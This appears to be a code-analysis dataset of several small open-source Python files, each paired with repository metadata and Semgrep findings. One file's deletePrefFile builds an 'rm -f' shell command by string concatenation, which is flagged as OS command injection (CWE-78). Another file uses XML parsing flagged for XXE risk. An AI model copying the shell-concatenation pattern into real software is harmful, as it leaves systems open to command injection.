"2021-01-11T18:44:58.395664" }
2.703125
stackv2
'''z Created on Feb 3, 2017 @author: chris ''' from guiUtil.pref import pref import os import re import warnings class guiData( object ): """ class with functionality for storing default data options the default dictionary will have a data fields which can be stored in persistent memory if the data has been overwritten and saved, the underlying preference object will load the most recently saved value, rather than the default value. called a recent on the defaults will overwrite the old defaults. """ def __init__( self, persistentDir= None, persistentFile= None, \ prefGroup= None, guiDataObj= None, \ initDefaultDict= None, groupSubCat= None ): """ -Must define the directory, file and group. -if the guiDataObj is defined, then the copy constructor uses only these fields and NOT any of the data. - if initDefault dict is defined, it laods the values from disk/persistent memory """ if guiDataObj is not None: assert groupSubCat is not None, "When using copy constructor must define groupSubCat" # copy constructor, use the same file as the other guy persistentDir= guiDataObj.persistentDir persistentFile= guiDataObj.persistentFile prefGroup= guiDataObj.prefGroup + "/" + groupSubCat else: assert persistentFile is not None, "must define persistent file" assert prefGroup is not None, "must define prefGroup" assert prefGroup != "", "must define prefGroup as non empty string" if groupSubCat is not None: prefGroup= prefGroup + "/" + groupSubCat self.prefGroup= prefGroup self.persistentDir= "" self.persistentFile= persistentFile if persistentDir is not None: self.persistentDir= persistentDir prefFile= os.path.join( persistentDir, persistentFile ) else: prefFile= os.environ[ 'HOME' ] self._prefObj= pref( file= prefFile ) self._loadedDefaults= list() self._defDict= dict() if initDefaultDict is not None: self.addAndStoreDefaults( initDefaultDict ) def deletePrefFile( self ): os.system( "rm -f " + self.prefFile ) def getPrefFile( self ): return self.prefObj.file def getDefaultDict( self ): return self._defDict.copy() def setDefaultDict( self, inDict ): """ resets awareness of which defaults have already been saved to disk """ self._defDict= inDict self._loadedDefaults= list() def addDefaults( self, inDict ): self._defDict.update( inDict ) def addAndStoreDefaults( self, inDict ): self.addDefaults( inDict ) self.storeUnloadedDefaultsOnly() def storeUnloadedDefaultsOnly( self ): """ 1. determine which defaults have not been loaded from pref file 2. keep track of the loaded by adding to _loadedDefaults 3. load them, BUT only overwrite in the self dictionary if that field DNE in self already. Send warning if not """ unStoredKeys= [ aKey for aKey in self._defDict.keys() if aKey not in self._loadedDefaults ] if len( unStoredKeys ) == 0: return # keep track of what has been loaded [ self._loadedDefaults.append( aKey ) for aKey in unStoredKeys ] # get the data data= [ self._defDict[ aKey ] for aKey in unStoredKeys ] # loading only unloaded tempDict= self._prefObj.load( group= self.prefGroup, \ name= unStoredKeys, default= data ) # add if already not a field addDict= { aKey.split("/")[-1]: tempDict[aKey] if aKey not in self.__dict__ else warnings.warn( "\"" + aKey + "\" is already stored in the data, " + \ "Will not updated this field with unstored default" ) for aKey in tempDict } self.__dict__.update( addDict ) def resetSelfWithDefaults( self ): """ over-write any property with the defaults """ self.__dict__.update( self._defDict ) def resetStoredDefaults( self ): """ save the defaults to the file and update my dictionary with the defaults """ keys= list( self._defDict.keys() ) data= [ self._defDict[ aKey ] for aKey in keys ] self.prefObj.save( group= self.prefGroup, name= keys, data= data ) self.resetSelfWithDefaults() def save( self, propList= None ): """ save a list if no list provided save all properties without an underscore """ if propList is None: # props which do not begin with underscore propList= [ aKey for aKey in self.__dict__.keys() if aKey.split("_")[0].strip() != "" ] elif type( propList ) == type( str() ): propList= [ propList ] data= [ getattr( self, aProp ) if aProp in self.__dict__ else warnings.warn( "\"" + aProp + "\" not able to be saved, not a property" ) for aProp in propList ] self.prefObj.save( group= self.prefGroup, name= propList, data= data ) def getPrefObj( self ): return self._prefObj prefFile= property( getPrefFile ) defDict= property( getDefaultDict, setDefaultDict ) prefObj= property( getPrefObj )
158
36.08
108
19
1,302
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_5cbc7e00ee74e0f5_e503df4c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 61, "line_end": 61, "column_start": 9, "column_end": 46, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/5cbc7e00ee74e0f5.py", "start": {"line": 61, "col": 9, "offset": 2334}, "end": {"line": 61, "col": 46, "offset": 2371}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-system-call-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 61 ]
[ 61 ]
[ 9 ]
[ 46 ]
[ "A01:2017 - Injection" ]
[ "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
guidata.py
/guiUtil/guidata.py
cjsantucci/h5Widget
MIT
2024-11-18T18:39:43.569772+00:00
1,603,105,251,000
e565602fef1abfa7329de406830a83712a821d22
3
{ "blob_id": "e565602fef1abfa7329de406830a83712a821d22", "branch_name": "refs/heads/master", "committer_date": 1603105251000, "content_id": "866789f48c77df240edf0051c4cf85058b44b74c", "detected_licenses": [ "MIT" ], "directory_id": "59dcaddb7dd3c19d6111d36a09ee9d6951df792d", "extension": "py", "filename": "event.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 292619105, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1743, "license": "MIT", "license_type": "permissive", "path": "/server/simple_events/models/event.py", "provenance": "stack-edu-0054.json.gz:570057", "repo_name": "ZoiksScoob/SimpleEvents", "revision_date": 1603105251000, "revision_id": "5dba03a88d2f41bb6073ac2839e9bdb10e87a8ff", "snapshot_id": "773df2917ae9d5ebe30dc84dbeb7f3c54cf17d81", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/ZoiksScoob/SimpleEvents/5dba03a88d2f41bb6073ac2839e9bdb10e87a8ff/server/simple_events/models/event.py", "visit_date": "2022-12-27T13:49:14.861420" }
2.609375
stackv2
import uuid from datetime import datetime from simple_events.models.db import db class Event(db.Model): """ User Model for storing user related details """ __tablename__ = "event" id = db.Column(db.Integer, primary_key=True, autoincrement=True) name = db.Column(db.String(255), nullable=False) date = db.Column(db.Date, nullable=False) initial_number_of_tickets = db.Column(db.Integer, nullable=False) additional_number_of_tickets = db.Column(db.Integer, nullable=True) guid = db.Column(db.BLOB, nullable=False) author_id = db.Column(db.Integer, db.ForeignKey('users.id')) date_created_utc = db.Column(db.DateTime, nullable=False) db.UniqueConstraint(guid, name='uix__event__guid') def __init__(self, name, date, initial_number_of_tickets, author_id): self.name = name self.date = date self.initial_number_of_tickets = initial_number_of_tickets self.author_id = author_id self.guid = uuid.uuid4().bytes self.date_created_utc = datetime.utcnow() class Ticket(db.Model): __tablename__ = "ticket" id = db.Column(db.Integer, primary_key=True, autoincrement=True) event_id = db.Column(db.Integer, db.ForeignKey('event.id')) guid = db.Column(db.BLOB, nullable=False) is_redeemed = db.Column(db.Boolean) date_created_utc = db.Column(db.DateTime, nullable=False) author_id = db.Column(db.Integer, db.ForeignKey('users.id')) db.UniqueConstraint('guid', name='uix__ticket__guid') def __init__(self, event_id, author_id): self.event_id = event_id self.guid = uuid.uuid4().bytes self.is_redeemed = False self.date_created_utc = datetime.utcnow() self.author_id = author_id
47
36.09
73
11
402
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_3b2604bfc80fbf51_4529a858", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_redeemed\" a function or an attribute? If it is a function, you may have meant self.is_redeemed() because self.is_redeemed is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 45, "line_end": 45, "column_start": 9, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/3b2604bfc80fbf51.py", "start": {"line": 45, "col": 9, "offset": 1633}, "end": {"line": 45, "col": 25, "offset": 1649}, "extra": {"message": "Is \"is_redeemed\" a function or an attribute? If it is a function, you may have meant self.is_redeemed() because self.is_redeemed is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "" ]
[ "rules.python.lang.maintainability.is-function-without-parentheses" ]
[ "maintainability" ]
[ "MEDIUM" ]
[ "MEDIUM" ]
[ 45 ]
[ 45 ]
[ 9 ]
[ 25 ]
[ "" ]
[ "Is \"is_redeemed\" a function or an attribute? If it is a function, you may have meant self.is_redeemed() because self.is_redeemed is always true." ]
[ 5 ]
[ "" ]
[ "" ]
event.py
/server/simple_events/models/event.py
ZoiksScoob/SimpleEvents
MIT
2024-11-18T18:39:44.077978+00:00
1,631,607,013,000
f73a6e4087baf566b4bee498d35e8f5035e937de
3
{ "blob_id": "f73a6e4087baf566b4bee498d35e8f5035e937de", "branch_name": "refs/heads/master", "committer_date": 1631607013000, "content_id": "5febae6dec33873cd747901e836be24756d4f512", "detected_licenses": [ "MIT" ], "directory_id": "bc0e2cb45bb952f3809c420c674ae9e07bad37f4", "extension": "py", "filename": "gravity1_horizontal.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 231113708, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 803, "license": "MIT", "license_type": "permissive", "path": "/gravity/bak/gravity1_horizontal.py", "provenance": "stack-edu-0054.json.gz:570060", "repo_name": "baijianhua/pymath", "revision_date": 1631607013000, "revision_id": "a96ebbd8c8ac646c436d8bf33cb01764a948255d", "snapshot_id": "f6759c09390f84a7d70212b759c784518869789a", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/baijianhua/pymath/a96ebbd8c8ac646c436d8bf33cb01764a948255d/gravity/bak/gravity1_horizontal.py", "visit_date": "2021-09-24T01:08:43.915888" }
3.453125
stackv2
# https://stackoverflow.com/questions/47295473/how-to-plot-using-matplotlib-python-colahs-deformed-grid import numpy as np import matplotlib.pyplot as plt from matplotlib.collections import LineCollection def plot_grid(x, y, ax=None, **kwargs): ax = ax or plt.gca() segs1 = np.stack((x, y), axis=2) segs2 = segs1.transpose(1, 0, 2) ax.add_collection(LineCollection(segs1, **kwargs)) ax.add_collection(LineCollection(segs2, **kwargs)) ax.autoscale() f = lambda x, y: (x + 0.8 * np.exp(-x ** 2 - y ** 2), y) fig, ax = plt.subplots() ax.set_aspect('equal') grid_x, grid_y = np.meshgrid(np.linspace(-3, 3, 20), np.linspace(-3, 3, 20)) plot_grid(grid_x, grid_y, ax=ax, color="lightgrey") distx, disty = f(grid_x, grid_y) plot_grid(distx, disty, ax=ax, color="C0") plt.show()
28
27.68
103
13
260
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_4322c7aff22941f5_ebf32242", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 17, "line_end": 17, "column_start": 18, "column_end": 57, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/4322c7aff22941f5.py", "start": {"line": 17, "col": 18, "offset": 495}, "end": {"line": 17, "col": 57, "offset": 534}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "" ]
[ "rules.python.lang.maintainability.return-not-in-function" ]
[ "maintainability" ]
[ "MEDIUM" ]
[ "MEDIUM" ]
[ 17 ]
[ 17 ]
[ 18 ]
[ 57 ]
[ "" ]
[ "`return` only makes sense inside a function" ]
[ 5 ]
[ "" ]
[ "" ]
gravity1_horizontal.py
/gravity/bak/gravity1_horizontal.py
baijianhua/pymath
MIT
2024-11-18T18:39:44.695912+00:00
1,574,667,748,000
512992937ed14caa7ea7f741d05a9bed0ddff65c
3
{ "blob_id": "512992937ed14caa7ea7f741d05a9bed0ddff65c", "branch_name": "refs/heads/master", "committer_date": 1574667748000, "content_id": "01b5bda0fb81acd35e804746ed5a0f0e72f42a30", "detected_licenses": [ "MIT" ], "directory_id": "a96b9cc11e2ae220b7bd27fcc36e3bd472cfe5ed", "extension": "py", "filename": "ipc_data.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 223890072, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 875, "license": "MIT", "license_type": "permissive", "path": "/ipc_data.py", "provenance": "stack-edu-0054.json.gz:570068", "repo_name": "gabriel-araujjo/ipc", "revision_date": 1574667748000, "revision_id": "b76165b8758cfb85a04014a5755ebaecbddb20ce", "snapshot_id": "8df6553be27fb8b50a5f8d86e3227d4ecebe37ad", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/gabriel-araujjo/ipc/b76165b8758cfb85a04014a5755ebaecbddb20ce/ipc_data.py", "visit_date": "2020-09-16T21:17:58.304894" }
2.84375
stackv2
from typing import List class Element: def __init__(self, name, metadata): self.name = name self.metadata = metadata class Field(Element): def __init__(self, name: str, metadata, type): super().__init__(name, metadata) self.type = type class Param: def __init__(self, type, is_const, is_ptr, is_ref): self.type = type self.is_const = is_const self.is_ptr = is_ptr self.is_ref = is_ref class Method(Element): def __init__(self, name: str, metadata, params: List[Param], result): super().__init__(name, metadata) self.params = params self.result = result class Struct(Element): def __init__(self, name: str, metadata, fields: List[Field], methods: List[Method]): super().__init__(name, metadata) self.fields = fields self.methods = methods
30
28.17
88
11
212
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_01cb8afa2d480da4_9a64ca24", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_const\" a function or an attribute? If it is a function, you may have meant self.is_const() because self.is_const is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 16, "line_end": 16, "column_start": 9, "column_end": 22, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/01cb8afa2d480da4.py", "start": {"line": 16, "col": 9, "offset": 381}, "end": {"line": 16, "col": 22, "offset": 394}, "extra": {"message": "Is \"is_const\" a function or an attribute? If it is a function, you may have meant self.is_const() because self.is_const is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_01cb8afa2d480da4_3f0ae0e4", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_ptr\" a function or an attribute? If it is a function, you may have meant self.is_ptr() because self.is_ptr is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 17, "line_end": 17, "column_start": 9, "column_end": 20, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/01cb8afa2d480da4.py", "start": {"line": 17, "col": 9, "offset": 414}, "end": {"line": 17, "col": 20, "offset": 425}, "extra": {"message": "Is \"is_ptr\" a function or an attribute? If it is a function, you may have meant self.is_ptr() because self.is_ptr is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_01cb8afa2d480da4_50d8840e", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_ref\" a function or an attribute? If it is a function, you may have meant self.is_ref() because self.is_ref is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 18, "line_end": 18, "column_start": 9, "column_end": 20, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/01cb8afa2d480da4.py", "start": {"line": 18, "col": 9, "offset": 443}, "end": {"line": 18, "col": 20, "offset": 454}, "extra": {"message": "Is \"is_ref\" a function or an attribute? If it is a function, you may have meant self.is_ref() because self.is_ref is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "", "", "" ]
[ "rules.python.lang.maintainability.is-function-without-parentheses", "rules.python.lang.maintainability.is-function-without-parentheses", "rules.python.lang.maintainability.is-function-without-parentheses" ]
[ "maintainability", "maintainability", "maintainability" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 16, 17, 18 ]
[ 16, 17, 18 ]
[ 9, 9, 9 ]
[ 22, 20, 20 ]
[ "", "", "" ]
[ "Is \"is_const\" a function or an attribute? If it is a function, you may have meant self.is_const() because self.is_const is always true.", "Is \"is_ptr\" a function or an attribute? If it is a function, you may have meant self.is_ptr() because self.is_ptr is always true.", "Is \"is_ref\" a function or an attr...
[ 5, 5, 5 ]
[ "", "", "" ]
[ "", "", "" ]
ipc_data.py
/ipc_data.py
gabriel-araujjo/ipc
MIT
2024-11-18T18:39:44.747575+00:00
1,636,814,357,000
7728e8247e8ecc8add2045c6b2db54e0f8795994
3
{ "blob_id": "7728e8247e8ecc8add2045c6b2db54e0f8795994", "branch_name": "refs/heads/master", "committer_date": 1636814357000, "content_id": "a8c6fa1fbbda8366f719a34926f25a6b6996daa7", "detected_licenses": [ "MIT" ], "directory_id": "629acdf83cf05e8bbe876bcc4dedd4e476ff60f5", "extension": "py", "filename": "entities.py", "fork_events_count": 0, "gha_created_at": 1608310968000, "gha_event_created_at": 1636814358000, "gha_language": "Python", "gha_license_id": "MIT", "github_id": 322655672, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3663, "license": "MIT", "license_type": "permissive", "path": "/src/ddhi_aggregator/entities/entities.py", "provenance": "stack-edu-0054.json.gz:570069", "repo_name": "agile-humanities/ddhi-aggregator", "revision_date": 1636814357000, "revision_id": "41616281340120dde86fdc1e4d6b4b6c6ba554d2", "snapshot_id": "4d4a7bd38522f6060281199bf124b36cc0a2ea7a", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/agile-humanities/ddhi-aggregator/41616281340120dde86fdc1e4d6b4b6c6ba554d2/src/ddhi_aggregator/entities/entities.py", "visit_date": "2023-09-02T08:46:05.856717" }
2.578125
stackv2
# -*- coding: utf-8 -*- import xml.etree.ElementTree as ET from lxml import etree class Entity(object): TEI_NAMESPACE = "http://www.tei-c.org/ns/1.0" TEI = "{%s}" % TEI_NAMESPACE XML_NAMESPACE = "http://www.w3.org/XML/1998/namespace" XML = "{%s}" % XML_NAMESPACE NSMAP = {None: TEI_NAMESPACE, "xml": XML_NAMESPACE} def __init__(self, element): self.namespaces = {"tei": "http://www.tei-c.org/ns/1.0", "xml": "http://www.w3.org/XML/1998/namespace"} self._xml = element self.id = element.xpath('./@xml:id', namespaces=self.namespaces)[0] self.idno = {} idnos = element.xpath('./tei:idno', namespaces=self.namespaces) for idno in idnos: type = idno.get("type") if type: self.idno[type] = idno.text def same_as(self, entity): if (type(self) == type(entity) and [k for k in entity.idno.keys() if k in self.idno.keys() and entity.idno[k] == self.idno[k]]): return True else: return False class Place(Entity): def __init__(self, element): super().__init__(element) name = element.xpath('./tei:placeName', namespaces=self.namespaces) if name: self.name = name[0].text self.coordinates = "" geo = element.xpath('./tei:location/tei:geo', namespaces=self.namespaces) if geo: self.coordinates = geo[0].text description = element.xpath('./tei:desc', namespaces=self.namespaces) if description: self.description = description[0].text class Person(Entity): def __init__(self, element): super().__init__(element) name = element.xpath('./tei:persName', namespaces=self.namespaces) if name: self.name = name[0].text class Event(Entity): def __init__(self, element): super().__init__(element) description = element.xpath('./tei:desc', namespaces=self.namespaces) if description: self.description = description[0].text class Org(Entity): def __init__(self, element): super().__init__(element) name = element.xpath('./tei:orgName', namespaces=self.namespaces) if name: self.name = name[0].text ''' Dates are different from the other entities: they do not have ids. So they are not a subclass of the Entity class, and must duplicate some of Entity's init code. ''' class Date(): TEI_NAMESPACE = "http://www.tei-c.org/ns/1.0" TEI = "{%s}" % TEI_NAMESPACE XML_NAMESPACE = "http://www.w3.org/XML/1998/namespace" XML = "{%s}" % XML_NAMESPACE NSMAP = {None: TEI_NAMESPACE, "xml": XML_NAMESPACE} def __init__(self, element): self.namespaces = {"tei": "http://www.tei-c.org/ns/1.0", "xml": "http://www.w3.org/XML/1998/namespace"} self._xml = element when = element.xpath('./@when', namespaces=self.namespaces) when_iso = element.xpath('./@when-iso', namespaces=self.namespaces) if when: self.when = when[0] elif when_iso: self.when = when_iso[0] else: self.when = element.xpath('./text()', namespaces=self.namespaces)[0] def same_as(self, entity): if (type(self) == type(entity) and entity.when == self.when): return True else: return False
112
31.71
75
16
879
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_85f24a3d65a38128_9f1d9258", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 2, "line_end": 2, "column_start": 1, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmpb8jm_z1l/85f24a3d65a38128.py", "start": {"line": 2, "col": 1, "offset": 24}, "end": {"line": 2, "col": 35, "offset": 58}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-611" ]
[ "rules.python.lang.security.use-defused-xml" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 2 ]
[ 2 ]
[ 1 ]
[ 35 ]
[ "A04:2017 - XML External Entities (XXE)" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service." ]
[ 7.5 ]
[ "LOW" ]
[ "MEDIUM" ]
entities.py
/src/ddhi_aggregator/entities/entities.py
agile-humanities/ddhi-aggregator
MIT
2024-11-18T18:39:45.823818+00:00
1,542,662,335,000
586bdc3ee7abb02109945311c563ca2d20c8e37e
3
{ "blob_id": "586bdc3ee7abb02109945311c563ca2d20c8e37e", "branch_name": "refs/heads/master", "committer_date": 1542662335000, "content_id": "599964c880ca0f346cb09b12db46ddb4db3bd135", "detected_licenses": [ "Apache-2.0" ], "directory_id": "37e9e6257a667eecb079e3757e5c540a039ec51d", "extension": "py", "filename": "xml_to_csv.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 158114744, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6816, "license": "Apache-2.0", "license_type": "permissive", "path": "/Pre-Processing/Augmentation_Toolkit/xml_to_csv.py", "provenance": "stack-edu-0054.json.gz:570079", "repo_name": "beric7/COCO-Bridge", "revision_date": 1542662335000, "revision_id": "c3ae8e5eb72cbc2fce982215c55bac09844764d8", "snapshot_id": "8bfe4d64ae564c1bec6dc9455550c23c749765c8", "src_encoding": "UTF-8", "star_events_count": 2, "url": "https://raw.githubusercontent.com/beric7/COCO-Bridge/c3ae8e5eb72cbc2fce982215c55bac09844764d8/Pre-Processing/Augmentation_Toolkit/xml_to_csv.py", "visit_date": "2020-04-07T05:54:07.666964" }
2.609375
stackv2
# 1_xml_to_csv.py # Note: substantial portions of this code, expecially the actual XML to CSV conversion, are credit to Dat Tran # see his website here: https://towardsdatascience.com/how-to-train-your-own-object-detector-with-tensorflows-object-detector-api-bec72ecfe1d9 # and his GitHub here: https://github.com/datitran/raccoon_dataset/blob/master/xml_to_csv.py import os import glob import pandas as pd import xml.etree.ElementTree as ET #//////////////////////////////////////////// Model = "#6-NFS_4c_5000s1e" #\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ # module level variables ############################################################################################## # train and test directories TRAINING_IMAGES_DIR = os.getcwd() + '\\Data_photo\\Original_Files\\Train' TEST_IMAGES_DIR = os.getcwd() + '\\Data_photo\\Original_Files\\Eval' MIN_NUM_IMAGES_REQUIRED_FOR_TRAINING = 10 MIN_NUM_IMAGES_SUGGESTED_FOR_TRAINING = 100 MIN_NUM_IMAGES_REQUIRED_FOR_TESTING = 3 pwd = "C://Users/Eric Bianchi/Documents/Virginia Tech/Graduate School/Research/" + Model + "/Pre-Processing" # output .csv file names/locations TRAINING_DATA_DIR = pwd + "/" + "training_data" TRAIN_CSV_FILE_LOC = TRAINING_DATA_DIR + "/" + "train_labels.csv" EVAL_CSV_FILE_LOC = TRAINING_DATA_DIR + "/" + "eval_labels.csv" ####################################################################################################################### def main(): if not checkIfNecessaryPathsAndFilesExist(): return # end if # if the training data directory does not exist, create it try: if not os.path.exists(TRAINING_DATA_DIR): os.makedirs(TRAINING_DATA_DIR) # end if except Exception as e: print("unable to create directory " + TRAINING_DATA_DIR + "error: " + str(e)) # end try # convert training xml data to a single .csv file print("converting xml training data . . .") trainCsvResults = xml_to_csv(TRAINING_IMAGES_DIR) trainCsvResults.to_csv(TRAIN_CSV_FILE_LOC, index=None) print("training xml to .csv conversion successful, saved result to " + TRAIN_CSV_FILE_LOC) # convert test xml data to a single .csv file print("converting xml test data . . .") 